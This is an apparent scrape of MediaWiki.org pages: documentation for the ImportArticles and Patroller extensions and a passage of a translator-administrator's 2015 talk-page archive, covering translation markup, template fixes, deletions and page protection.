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Extension:ImportArticles

2021-05-11T05:22:13Z

Developaws: Fix username.

<languages/>
{{Extension|templatemode=
|status = stable
|type1 = ajax
|hook1 = BeforePageDisplay
|username = Developaws
|description = <translate> Adds an ImportArticles used for JavaScript to import multiple CSS/JS pages at once.</translate>
|version = 1.3
|update = 2015-09-11
|mediawiki = 1.21+
|download = {{WikimediaDownload}}
|needs-updatephp = No
|license = GPL-3.0
|bugzilla = ImportArticles
}}
<translate>

The '''ImportArticles''' extension adds a JavaScript that is loaded on the page, which allows the importation of multiple JS and CSS at once.</translate>
<translate>

This is usable in the MediaWiki namespace for the skin, or in the users namespace for their local modifications.

== Installation == 
</translate>
{{ExtensionInstall
|registration=1
|repo-name=ImportArticles
}}

== History ==
V1.3:
* Cleaned up a bunch of the code, and transfer to current PHP/MW standards
V1.2:
* Add version and licence to JavaScript definer
* Change variables to global variable
* Fixed console logging for page missing
V1.1:
* Change variables
* Fixed output formatting
V1.0:
* Initial release

[[Category:Simple extensions{{#translation:}}]]

Extension:Patroller

2019-09-16T13:29:55Z

Developaws:

{{TNT|Extension
|name=Patroller
|author=[[User:Robchurch|Rob Church]], '''[[User:Developaws|Developaws]]'''
|type1=special
|type2=user activity
|type3=hook
|image=SpecialPatrol.png
|version=2.1.0
|status=stable
|update=2017-01-18
|mediawiki=1.32+
|needs-updatephp=Yes
|download={{TNT|WikimediaDownload|Patroller}}
|license=GPL-2.0
|description=Enhanced recent changes patrol interface with workload sharing
|rights=patroller
|phabricator=MediaWiki-extensions-Patroller
|hook1=LoadExtensionSchemaUpdates
}}
The '''Patroller''' extension adds an enhanced recent changes patrol interface to MediaWiki. It was written in June 2006 by [[User:Robchurch|Rob Church]] for use on Wikimedia web sites, and adopted in September 2015 by [[User:Developaws|Developaws]], and requires MediaWiki '''1.32+'''. The interface filters incoming edits, prevents users from patrolling their own edits, and shares the workload between patrollers.

The extension adds a new special page; "Special:Patrol", accessible to users with the ''patroller'' user permission assigned. By default, this will be any sysop, but you may wish to customise the configuration in ''LocalSettings.php'', e.g. to grant access to ''autoconfirmed'' users or a custom group.

== Installation ==
{{TNT|ExtensionInstall
|repo-name=Patroller
|db-update=Yes
|registration=required
}}

== Use ==
When accessing [[Special:Patrol]], a recent change will be selected based on certain [[#Selection criteria|criteria]], and a diff. view generated.

You will be presented with three options:

* '''Endorse''' - accept the edit and mark it as patrolled
* '''Revert''' - reject the edit and undo the changes it makes
* '''Skip''' - ignore the edit

After selecting the operation to perform, another change will be produced for review.

=== Reverting ===
When reverting, a custom reason can be entered in the text field, or a pre-defined reason can be used. If no custom reason is provided, then the currently selected pre-defined reason is used as the edit summary for the corresponding reversion.

== Customisation ==
=== User permissions ===
The extension adds a new permission named '''patroller'''. Use this to grant access to different user groups, e.g. to grant access to all ''autoconfirmed'' users, add the following to <tt>'''LocalSettings.php'''</tt>, under the call to add the extension:
<source lang="php">
$wgGroupPermissions['autoconfirmed']['patroller'] = true;
</source>

=== Revert reasons ===
To customize the list of pre-defined revert reasons, edit the "[[MediaWiki:Patrol-reasons|patrol-reasons]]" message. Reasons appear one per line, in a bulleted list.

== Notes ==
=== Workload sharing ===
The extension shares the patrol load by temporarily storing a key to the recent change in a memory-based table, alongside a timestamp recording the time of assignment. While a change has a corresponding row in this table, it is not presented for review.

Rows in the table are removed once they have expired.

=== Selection criteria ===
When selecting a change for review, the extension ensures that it meets the following criteria:

* Edit corresponds to the most recent change to a page
* Edit was not made by the user doing the patrolling
* Edit is not assigned to another user
* Edit was not made by a bot, and has not already been patrolled

[[Category:Recent Changes extensions]]
[[Category:Edit extensions]]
[[Category:Spam management extensions]]

2015-09-11T16:21:36Z

Developaws:

{{languages}}
[[Category:Extensions by license/ja]]

Topic:Soq9fs2556qeqqv6

2015-09-11T16:20:36Z

Developaws (talk | contribs) commented on "Marks for translation Extension:ImportArticles" (Can you re-mark the page for translation please? :))

User talk:Shirayuki/2015

2015-09-11T16:20:36Z

Developaws: /* Marks for translation Extension:ImportArticles */ New section

{{flow imported revision}}
{{Userpage/ja}}

{{welcome}}[[User:Nemo_bis|Nemo]] 22:12, 17 January 2013 (UTC)

==[[Extension:Translate]]==
Hello, thank you for your translation work.
Please don't add new {{tl|Languages}} and don't make new [[Project:Language policy|translations]] with the old system; it's particularly ironic and out of place on this page.
If you don't want to translate one of the pages already marked for translation, please [[Special:MyLanguage/Help:Extension:Translate/Page translation example|prepare for translation yourself]] the page you want to translate, I'll approve it as soon as I see it (or someone else will) and then you'll be able to translate it. Thanks, [[User:Nemo bis|Nemo]] 22:12, 17 January 2013 (UTC)
:Thanks for your time and advice.--[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 02:50, 18 January 2013 (UTC)
::Thank you for the marking you did, but there are many non-recommended formats in it so I can't approve it yet. I could fix it myself or explain each item here, but as you do so much and so valuable a translation work it's probably better if you read the documentation carefully, to be ready for the other pages too; there's also [[Help:Extension:Translate/Page_translation_administration]], you can skip "Changing the source text" for now. If you could also write on talk which passages if any are unclear that would help many people. Thanks, [[User:Nemo bis|Nemo]] 09:33, 18 January 2013 (UTC)

== [[Communication/ja]] ==

Hi! Thanks for participation in the translating process. I have already imported some old translations (from ;previous version). Feel free check and finish this. Note: [[Translations:Communication/Page display title/ja|page title]] also may be translated into your language ;) --[[User:Kaganer|Kaganer]] ([[User talk:Kaganer|talk]]) 21:06, 28 January 2013 (UTC)
:Thanks for your work and advice. I've checked all. --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 23:38, 28 January 2013 (UTC)
:: Thanks! Maybe you [{{fullurl:Special:Translate|group=page-Communication&task=view&language=ja}} finish] it? That would be wonderful! [{{fullurl:Special:Translate|group=page-How+to+contribute&language=ja}} This page] is also waiting for you ;) --[[User:Kaganer|Kaganer]] ([[User talk:Kaganer|talk]]) 21:21, 30 January 2013 (UTC)

== L10n patches ==

It's great that you started submitting patches by yourself, thank you very much! Remember to add Siebrand as reviewer. I hope to see many more commits from you with your eagle eyes. :-) --[[User:Nemo bis|Nemo]] 11:53, 5 March 2013 (UTC)
:I did it! Thanks for the advice. :) --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 12:02, 5 March 2013 (UTC)

== Editor permission ==

How about [[Project:Requests|asking for editor permissions]]? You did heaps of changes to Japanese pages which still need to be checked. I guess you are one of the few active people who could do this. Cheers --[[User:Kghbln|[[kgh]]]] ([[User talk:Kghbln|talk]]) 16:42, 3 May 2013 (UTC)
: Done. Thanks! --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 02:09, 4 May 2013 (UTC)
:: Great. :) --[[User:Kghbln|[[kgh]]]] ([[User talk:Kghbln|talk]]) 07:08, 4 May 2013 (UTC)

== Translate ==
Please translate {{tl|Deprecated/ja}} --[[User:Wargo|wargo]] ([[User talk:Wargo|talk]]) 18:37, 11 May 2013 (UTC)
:Done. Thanks. --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 22:52, 11 May 2013 (UTC)

== A barnstar for you! ==

{| style="background-color: #fdffe7; border: 1px solid #fceb92;"
| rowspan="2" style="vertical-align: middle; padding: 5px;" | [[File:Writers Barnstar Hires.png|link=//www.mediawiki.org/wiki/./File:Writers_Barnstar_Hires.png|100x100px]]
| style="font-size: x-large; padding: 3px 3px 0 3px; height: 1.5em;" | '''The Writer's Barnstar'''
|-
| style="vertical-align: middle; padding: 3px;" | Thank you for your translations at the [[VisualEditor]] pages. [[User:Whatamidoing (WMF)|Whatamidoing (WMF)]] ([[User talk:Whatamidoing (WMF)|talk]]) 22:36, 19 July 2013 (UTC)
|}
: Thank you. This is my first barnstar :) --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 00:27, 16 August 2013 (UTC)

== Language block ==

Hi,

[https://www.mediawiki.org/w/index.php?title=User:Shirayuki&diff=761334&oldid=624292 This little edit of yours] caused an interesting discussion about language selection in VE on IRC.

Thanks a lot for testing it! I'd love to know what you think about it. --[[User:Amire80|Amir E. Aharoni]] ([[User talk:Amire80|talk]]) 19:11, 15 August 2013 (UTC)
: Thanks. I just wanted to know about language blocks.
: See [[translatewiki:Thread:Support/About_MediaWiki:Visualeditor-languageinspector-block-tooltip/en_(3)|this thread on translatewiki.net]] (and reply to it). --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 00:52, 16 August 2013 (UTC)

==Notifications (Echo)==
Greetings! Thank you for your translation work with Echo. I was wondering if you would be able to finish translating the [[Help:Notifications/ja|Help page]] this week? We're looking to deploy to ja.wp on 24 September. [[User:Keegan (WMF)|Keegan (WMF)]] ([[User talk:Keegan (WMF)|talk]]) 23:27, 17 September 2013 (UTC)
: Done. :) It should be reviewed by someone. --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:12, 19 September 2013 (UTC)

== About「Download/ja」ページ ==

I found Template "DownloadMediaWiki/ja" but not used in "Download/ja" page. --[[User:아라|아라]]는 다 알아 ([[User talk:아라|talk]]) 07:21, 11 October 2013 (UTC)
:You are talking about [[Download/ja]] (and [[Template:DownloadMediaWiki/ja]]). I have known it should be updated.--[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 08:53, 11 October 2013 (UTC)

== Interrogation before translation ==
Hi, I was about setting/updating [[Differences between Wikipedia, Wikimedia, MediaWiki, and wiki]] for translation, but I don’t understand what is [{{fullurl:Differences between Wikipedia, Wikimedia, MediaWiki, and wiki|diff=854839&oldid=853329}}] -- it’s not that important, but I wondered. ~ [[User:Seb35|Seb35]] [[User talk:Seb35|[^_^]]] 15:32, 13 January 2014 (UTC)
:See [https://www.mediawiki.org/w/index.php?title=Translations:Differences_between_Wikipedia,_Wikimedia,_MediaWiki,_and_wiki/21/fr&action=edit&loadgroup=page-Differences+between+Wikipedia%2C+Wikimedia%2C+MediaWiki%2C+and+wiki&uselang=en example]. This page shows warning "There is an uneven amount of parenthesis: (): -1" :( --[[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 16:05, 13 January 2014 (UTC)
::Ah! Thanks! I just understood after seeing [{{fullurl:Help:Mass account creation|oldid=873864&diff=883203}}], and I recall having seen this sometimes. Thanks for the trick! ~ [[User:Seb35|Seb35]] [[User talk:Seb35|[^_^]]] 16:23, 13 January 2014 (UTC)

== happy new year ==

[[File:Happy New Year 2015.png|300x300px]] [[File:Fuochi d'artificio.gif|250x250px]]
Happy New Year Dear '''<big>Shirayuki</big>''' [[User:Grind24|Grind24]] ([[User talk:Grind24|talk]]) 01:28, 1 January 2015 (UTC)

== A barnstar for you! ==

{| style="background-color: #fdffe7; border: 1px solid #fceb92;"
| rowspan="2" style="vertical-align: middle; padding: 5px;" | [[File:Special Barnstar Hires.png|100x100px]]
| style="font-size: x-large; padding: 3px 3px 0 3px; height: 1.5em;" | '''The Special Barnstar'''
|-
| style="vertical-align: middle; padding: 3px;" |Thank for all your hard work here and for your help very appreciated, you have delete a lot of the pages that i have tag for deletion and block the users / ips Thank you very much!
|} [[User:Grind24|Grind24]] ([[User talk:Grind24|talk]]) 13:36, 4 January 2015 (UTC)

== Your edits on [[Template:Extension]] ==

There was [[Thread:Template talk:ExtensionLicense/SPDX names|agreement on using SPDX codes for licenses]], so I implemented them in [[Module:Extension]] and made [[Template:Extension]] use them too. I've filed [[Project:Requests/User rights/SamoaBot|a RFBOT]] to fix extension pages. [[User:Ricordisamoa|Ricordi]][[User talk:Ricordisamoa|samoa]] 12:49, 5 January 2015 (UTC)

== Template translations ==

I notice you've been adding a lot of translation stuff to the various {{tl|ApiParam}} calls that I've added. As I continue converting other pages to use that template, is there anything I should be doing, or am I better off doing straight conversion then letting you modify the page afterwards? – [[User:RobinHood70|RobinHood70]] [[User talk:RobinHood70|talk]] 00:56, 8 January 2015 (UTC)
:The latter. Currently {{tlx|TNT}} seems to have a problem about bullets... e.g.:
:<syntaxhighlight lang='text'>{{TNT|ApiParam|eifilterredir|How to filter redirects}}
{{TNT|ApiParam|bullet=*|all|List all pages}}
</syntaxhighlight>
:Result:
:{{TNT|ApiParam|eifilterredir|How to filter redirects}}
:{{TNT|ApiParam|bullet=*|all|List all pages}}
:----
:Without TNT:
:<syntaxhighlight lang='text'>{{ApiParam|eifilterredir|How to filter redirects}}
{{ApiParam|bullet=*|all|List all pages}}
</syntaxhighlight>
:Result:
:{{ApiParam|eifilterredir|How to filter redirects}}
:{{ApiParam|bullet=*|all|List all pages}} [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 01:48, 8 January 2015 (UTC)
::In a traditional template, that would usually indicate that there's a line-break in the template that shouldn't be there. I don't know enough Lua to diagnose if there's something coming from that, or if perhaps it's the #invoke itself that's triggering the same effect. – [[User:RobinHood70|RobinHood70]] [[User talk:RobinHood70|talk]] 02:00, 8 January 2015 (UTC)
::It's a slightly ugly workaround, but using the following seems to work.
::<syntaxhighlight lang='text'>{{TNT
|ApiParam|eifilterredir|How to filter redirects}}{{TNT
|ApiParam|bullet=*|all|List all pages}}</syntaxhighlight>
::{{TNT
::|ApiParam|eifilterredir|How to filter redirects}}{{TNT
::|ApiParam|bullet=*|all|List all pages}} – [[User:RobinHood70|RobinHood70]] [[User talk:RobinHood70|talk]] 02:07, 8 January 2015 (UTC)
::Next question: if I convert a page with {{Tag|translate}} tags on it already, do you want me to notify you that I've done so or are you watching everything you've added translate tags to? I just did [[API:Random]] and obliterated the tags in the process since the text was significantly altered by the conversion. – [[User:RobinHood70|Robin Hood]]  [[User_talk:RobinHood70|(talk)]]</sp 18:51, 1 February 2015 (UTC)
:::About [[API:Random]], I have restored translation unit markers to reuse the existing translations. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:48, 2 February 2015 (UTC)
::::Do you want me to notify you of any future translated pages that I change? – [[User:RobinHood70|Robin Hood]]  [[User_talk:RobinHood70|(talk)]]</sp 20:05, 2 February 2015 (UTC)
:::::Yes. Thanks in advance. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 21:22, 2 February 2015 (UTC)

== Template titles ==

I see that you have [https://www.mediawiki.org/w/index.php?title=Translations:Template:Deprecated/Page_display_title/pl&action=history copy] the title of some templates in various languages. We talk [[User_talk:Shirayuki#Translation_of_.27manual.27_in_the_title_48182|before]] about translating namespaces. I'm not sure if copying the Englich template name is the correct move. Of course they can be change in the future. But they already show in English if they're untranslated. So, why do you think we should copy them? [[User:Macofe|Macofe]] ([[User talk:Macofe|talk]]) 22:49, 8 January 2015 (UTC)

== Restore my note page please ! ==
{{Flow summary|kbkb kjb}}

hi

You are delete my personal notepage.
User:Karima_Rafes/Comment_Hacker_MediaWiki%3F

This page is incomplete for a help page of mediawiki but it is very useful for me, when i use gerrit.
Can you restore my page ?

Thanks [[User:Karima Rafes|Karima Rafes]] ([[User talk:Karima Rafes|talk]]) 07:31, 14 January 2015 (UTC)
:Hi. Are you talking about "[[User:Karima Rafes/Comment Hacker MediaWiki?]]"? I have deleted its [[User talk:Karima Rafes/Comment Hacker MediaWiki?|talk page]] (The content was "test"). [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 07:38, 14 January 2015 (UTC)
::Ah Ok ! Cool! I was afraid. ;)
::Thanks [[Special:Contributions/90.44.117.240|90.44.117.240]] 07:42, 14 January 2015 (UTC)

== A barnstar for you! ==

{| style="background-color: #fdffe7; border: 1px solid #fceb92;"
| rowspan="2" style="vertical-align: middle; padding: 5px;" | [[File:Original Barnstar Hires.png|100x100px]]
| style="font-size: x-large; padding: 3px 3px 0 3px; height: 1.5em;" | '''The Original Barnstar'''
|-
| style="vertical-align: middle; padding: 3px;" | Thank you for your fast support! [[User:Davidelze|Davidelze]] ([[User talk:Davidelze|talk]]) 10:20, 16 January 2015 (UTC)
|}

== Deletion request ==

Hello, please delete [https://www.mediawiki.org/wiki/User:Naiem_ur_Rehman_Teeli/EditCounterOptIn.js# this] as nonsense. thanks in advance [[User:Grind24|Grind24]] ([[User talk:Grind24|talk]]) 10:34, 17 January 2015 (UTC)

== SD ==

Hello, Please delete [https://www.mediawiki.org/wiki/User:MrDragono/common.css this] vandalism french in css page.Regards [[User:Grind24|Grind24]] ([[User talk:Grind24|talk]]) 20:53, 30 January 2015 (UTC)
:{{done}} [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 20:54, 30 January 2015 (UTC)

== [[Template:Unmaintained extension]] ==

Heiya Shirayuki, this extension seems to be broken somehow due to the translation magic. Supposedly only a few tweaks are needed to fluff this up. See [[Extension:SemanticSignup|SemanticSignup]] extension page for what I mean. Thanks and cheers [[User:Kghbln|[[kgh]]]] ([[User talk:Kghbln|talk]]) 15:45, 5 February 2015 (UTC)
:Thanks. <nowiki>{{Unmaintained extension}}</nowiki> should be replaced by <nowiki>{{TNT|Unmaintained extension}}</nowiki>, to transclude {{tlx|Unmaintained extension/en}} instead. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 21:36, 5 February 2015 (UTC)
::Ah, finally I get what this TNT is for. Yeah, thanks and fixed. [[User:Kghbln|[[kgh]]]] ([[User talk:Kghbln|talk]]) 22:03, 5 February 2015 (UTC)

== [[Extension:GoToShell]] ==

You never marked it for translation after [[Special:Diff/1100165]]. [[User:Ricordisamoa|Ricordi]][[User talk:Ricordisamoa|samoa]] 12:56, 9 February 2015 (UTC)
:{{done}}. I've marked it for translation. Thanks! [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 13:16, 9 February 2015 (UTC)
::Thank you! [[User:Ricordisamoa|Ricordi]][[User talk:Ricordisamoa|samoa]] 05:19, 10 February 2015 (UTC)

== Localized link or template? ==

I see that you use both 'Special:MyLanguage' and 'Template:Localized_link' for link localization ([[Special:Diff/1402212|example]]). It seems that the template is better because it checks first if the localized link exists and defaults to other if it doesn't. Are there other differences? Why do you use both?

Only [http://www.kiwix.org/w/index.php?title=Help%2FLibrary&diff=22754&oldid=22747 this time] I could not make de template work. Maybe I made a mistake. If you spot it, let me know. [[User:Macofe|Macofe]] ([[User talk:Macofe|talk]]) 10:51, 11 February 2015 (UTC)
:Currently [[Release notes]] is not marked for translation, so I use "Special:MyLanguage". [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 10:58, 11 February 2015 (UTC)
::Why does it matter? If I understand the template correctly, it '''first''' checks for Special:MyLanguage/Page, so it seems safe to use it anyway.
::I just made a test: I changed my language to Polish and then I edited (without saving) [[Special:Diff/1402212|the page mentioned above]] to use the ll template in the "release notes" link. With the preview of the page, the template correctly took me to 'Release notes/pl'. And when I restablished my language to Spanish, the template took me to the English version, which is again correct because there is no 'Release notes/es' yet. [[User:Macofe|Macofe]] ([[User talk:Macofe|talk]]) 16:05, 11 February 2015 (UTC)
:::I don't like "<nowiki>{{<tvar|1>ll|Release notes</>|Release notes}}</nowiki>" style. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 22:10, 11 February 2015 (UTC)
::::I said nothing about variables. It seems we are not in the same page here. Let's start over. Look again [[Special:Diff/1402212|here]]. You changed:
::::* <nowiki>[[Release notes|older versions]] -> [[Special:MyLanguage/Release notes|older versions]]</nowiki>
::::* <nowiki>[[MediaWiki 1.25]] -> {{ll|MediaWiki 1.25}}</nowiki>
::::My question is why didn't you change
::::* <nowiki>[[Release notes|older versions]] -> {{ll|Release notes|older versions}}</nowiki>
::::as you did with the others knowing that the template has the same result? [[User:Macofe|Macofe]] ([[User talk:Macofe|talk]]) 15:35, 12 February 2015 (UTC)
:::::Perhaps he uses "ll" when the link target and label are the same, because in that case it's more concise? <nowiki>{{ll|Release notes|older versions}}</nowiki> is quite ugly, while <nowiki>{{ll|MediaWiki 1.25}}</nowiki> can be considered more elegant than <nowiki>[[Special:MyLanguage/MediaWiki 1.25|MediaWiki 1.25]]</nowiki>.
:::::Personally I don't use ll but I don't have firm opinions about it and AFAICS there is no standard – either written or de facto – about its usage. [[User:Nemo_bis|Nemo]] 17:39, 13 February 2015 (UTC)
:::::I am talking about variables. About "<code><nowiki>{{ll|Release notes|older versions}}</nowiki></code>", we should make both <code>ll</code> and <code>Release notes</code> untranslatable. I think "<code><nowiki>{{<tvar|1>ll|Release notes</>|older versions}}</nowiki></code>" and "<code><nowiki>{{<tvar|1>ll</>|<tvar|2>Release notes</>|older versions}}</nowiki></code>" are ugly. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 22:09, 13 February 2015 (UTC)
:::::My best practice ;)
:::::# If your link to translatable page is placed ''within a longer text'', and displayed text
:::::## is different from target pagename — '''then is better using 'Special:MyLanguage' ''' (with 'tvar')
:::::##: ''example'' — <code><nowiki>text text [[<tvar|some>Special:MyLanguage/Target page</>|displayed text]] text text</nowiki></code>
:::::##: ''reason'' — these same result without unneeded calling of template; more understandable for translators
:::::## is equal to target pagename — '''then is better using 'Special:MyLanguage' also''', by these same way
:::::##: ''reason'' — if displayed text is equal in English, this may not be true for other languages
:::::# If your link to translatable page is placed as ''separate item'' (part of list or navigation template), and displayed text
:::::## is different from target pagename — '''then is better using {{tl|ll}}''', with tagging only displayed text as translatable
:::::##: ''example'' — <code><nowiki>{{ll|Target page|<translate>displayed text</translate>}}</nowiki></code>
:::::##: ''reason'' — these same result with more laconical wiki-code
:::::## is equal to target pagename — '''then is better using {{tl|ll}}''', with excluding from translatable part
:::::##: ''example'' — <code><nowiki><translate>text text</translate>* {{ll|Target page}} <translate>text text</translate></nowiki></code>
:::::##: ''reason'' — if target pagename is translated, {{tl|ll}} is substitute appropriate translation automatically; no needed duplicate translations (with errors); economy of translators' efforts [[User:Kaganer|Kaganer]] ([[User talk:Kaganer|talk]]) 23:23, 17 March 2015 (UTC)
::::::Kaganer, perhaps you should file this "decision tree" as enhancement request for [[Special:PagePreparation]]? :) [[User:Nemo_bis|Nemo]] 10:01, 18 March 2015 (UTC)

== Thanks for your translation work, documentation plans ==

Hi, I'm now a technical writer at the foundation. I see you working to translate and improve doc pages here, I appreciate your work. (Do documentation folk hang out on-wiki anywhere?)

I'm working on:
* Developer documentation for a new area, codename [[dev.wikimedia.org]].
* Improving MediaWiki API documentation ([[phab:T88755]], etc.).
** using [[Special:ApiHelp]], we can transclude API documentation generated from source code ([[phab:T89318]] ); if the PHP API code is localized, the API documentation should be also.

My understanding of {{tl|languages}}, <nowiki><translate></nowiki>, <nowiki></nowiki>, {{tl|TNTN}}, etc. is weak, so thanks in advance for making this maintainable and localizable. Cheers. [[User:SPage (WMF)|SPage (WMF)]] ([[User talk:SPage (WMF)|talk]]) 01:21, 12 February 2015 (UTC)

== Fixing the protection of [[Manual:Database_layout]] ==

Hi Shirayuki,

can you please remove the protection setting of [[Manual:Database_layout]] to something I can edit again? I try to regularly update pages like this one (also [[Upgrading]], the Support Desk and others), but with the current protection I can no longer edit Manual:Database_layout. Apart from that there only were ''two''(!) spam posts in three months, which I guess we have to live with. Also one of these posts vandalised one of my very own changes and anyway: ''I'' can life with that.

Many thanks in advance! [[Special:Contributions/88.130.92.137|88.130.92.137]] 23:10, 20 February 2015 (UTC)
:Please [{{canonicalurl:Special:UserLogin|type=signup}} create an account]. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 23:16, 20 February 2015 (UTC)
::''Two'' posts - that's ridiculous. I update pages here since years, I never used an account and I won't create one for this small stuff. But I will gladly ask ''you'' to do the according changes:
::Please update the informationon the hitcounter table. As you can see in maintenance/tables.sql, it has been remove from the 1.25 version of MW and information on that page still is incorrect. So... [[Special:Contributions/88.130.92.137|88.130.92.137]] 23:23, 20 February 2015 (UTC)
:::Isn't it "small stuff"? [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 23:35, 20 February 2015 (UTC)

== API-head update ==

Could you look at [[Template:API-head]] . I marked these updates for translation[https://www.mediawiki.org/w/index.php?title=Template:API-head&action=history], but only a [https://www.mediawiki.org/w/index.php?title=Template:API-head/en&diff=1417951&oldid=1375077 tiny change was made] to /en. Much appreciated. [[User:John Vandenberg|John Vandenberg]] ([[User talk:John Vandenberg|talk]]) 01:05, 22 February 2015 (UTC)
:A [[Special:Diff/1417980|dummy edit]] is needed to update the existing translation pages (including /en page).
:Translation unit markers (e.g. <code><nowiki></nowiki></code>) should not be added manually. See {{ll|Help:Extension:Translate/Page translation example#Step 4: Making changes}}. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 01:20, 22 February 2015 (UTC)
::Thanks. Is that a known bug? [[User:John Vandenberg|John Vandenberg]] ([[User talk:John Vandenberg|talk]]) 02:01, 22 February 2015 (UTC)
:::I don't know. But some translation admins do "dummy edit". [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 02:23, 22 February 2015 (UTC)

== Reversed my edit on External Data Plugin Talk page ==

You reversed my edit on the http://www.mediawiki.org/wiki/Extension_talk:External_Data discussion page - can you .. undo that?

I spoke with Yaron Koren directly via email and the issue turned out to be extremely simple - I had an out of date version of the plugin. After resolving that, I had a legitimate question regarding the syntax of the #get_db_data requests to MongoDB. I removed the bits of the discussion that no longer applied. I'm not sure why you did this? [[Special:Contributions/2605:E000:254F:9600:40EC:1B54:2148:AFB0|2605:E000:254F:9600:40EC:1B54:2148:AFB0]] 01:42, 22 February 2015 (UTC)
:If so, you should write in the edit summary as such. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 01:48, 22 February 2015 (UTC)
::10-4. That was my first-ever edit of the mediawiki and did not realize that was necessary. I shall go back and resubmit the edit with an appropriate summary. Thank you! [[Special:Contributions/2605:E000:254F:9600:40EC:1B54:2148:AFB0|2605:E000:254F:9600:40EC:1B54:2148:AFB0]] 03:02, 22 February 2015 (UTC)

== Recent edits to mw:Template:WikimediaDownload seem to create a rendering issue on mw:Extension:GraphViz ==

Heja, it looks like one of the recent edits on https://www.mediawiki.org/w/index.php?title=Template:WikimediaDownload created a rendering issue at least on one page: https://www.mediawiki.org/w/index.php?title=Extension:GraphViz (the "translate" tag is shown as raw text) - Unfortunately I don't have enough skills to understand what the exact problem is and if that's a problem with content on Extension:GraphViz or with Template:WikimediaDownload. Input appreciated if you find some time. Thank you! :) [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 10:45, 6 March 2015 (UTC)
:{{done}}. Thanks. See also [[Thread:User talk:Shirayuki/Template:Unmaintained extension]]. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:03, 6 March 2015 (UTC)
::But [{{canonicalurl:Special:WhatLinksHere|hidelinks=1&target=Template:WikimediaDownload}} more than 500 pages] need to be fixed. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 14:04, 6 March 2015 (UTC)
:::Why don't you ask the help of a bot? I understand those changes need to be made, but you should also perform those changes when you know you or someone else could assist you with the help of a bot to reduce the time those pages will be broken [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 17:01, 6 March 2015 (UTC)

== Problem with WikimediaGitCheckout template transclusion ==

Hi,

Thanks for all your help with translation on this wiki. I don't know when it started, but there is a problem with the display of extensions that include a call to the "WikimediaGitCheckout"; see the [[Extension:Replace Text|Replace Text]] extension page, for example. [[User:Yaron Koren|Yaron Koren]] ([[User talk:Yaron Koren|talk]]) 17:46, 23 March 2015 (UTC)
:{{done}} by adding {{tl|TNT}}. Thanks. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 21:36, 23 March 2015 (UTC)
::Great, thank you! [[User:Yaron Koren|Yaron Koren]] ([[User talk:Yaron Koren|talk]]) 21:36, 23 March 2015 (UTC)

== Special reverts ==

Unless the other anon edit was unrelated, I'm not sure why it didn't removed that page as well? [[User:DivineAlpha|DivineAlpha]] ([[User talk:DivineAlpha|talk]]) 05:09, 24 March 2015 (UTC)

== Ukrainian ==

Hi, Shirayuki!

Please, tell me, how I can add Ukrainian language to [[Help:Images]]? TO other pages? Thanks! ;-) [[User:Nickispeaki|Nickispeaki]] ([[User talk:Nickispeaki|talk]]) 11:11, 24 March 2015 (UTC)
:Currently [[Help:Images]] is not ready for translation, so copy the wikitext to [[Help:Images/uk]] and translate it manually. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:40, 24 March 2015 (UTC)
:Finally we have marked [[Help:Images]] for translation!
:Start translating [[Help:Images/uk]]. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 23:21, 26 March 2015 (UTC)
::Thanks, Shirayuki. [[User:Nemo_bis|Nemo]] 12:53, 29 March 2015 (UTC)

== Starting conversion of LiquidThreads to Flow at mediawiki.org ==

Hello. I'm sending this to you, because you've been one of the top 50 users of LQT on mediawiki.org over the last 360 days,[http://quarry.wmflabs.org/query/2732] and I wanted to make sure that you'd seen the announcement at [[Topic:Sdoatsbslsafx6lw|Starting conversion of LiquidThreads to Flow at mediawiki.org]]. There are links in the topic-summary at the top, for other discussions (wikitech-l and Project:Current_issues), and a link to the planned process and timeline (scheduled to begin April 6, with smaller conversions at first). Please do test Flow out at [[Talk:Sandbox]] if you haven't tried it recently, and give any feedback/suggestions/requests at that main discussion location. Much thanks. [[User:Quiddity (WMF)|Quiddity (WMF)]] ([[User talk:Quiddity (WMF)|talk]]) 23:49, 27 March 2015 (UTC)

== About #translation: ==

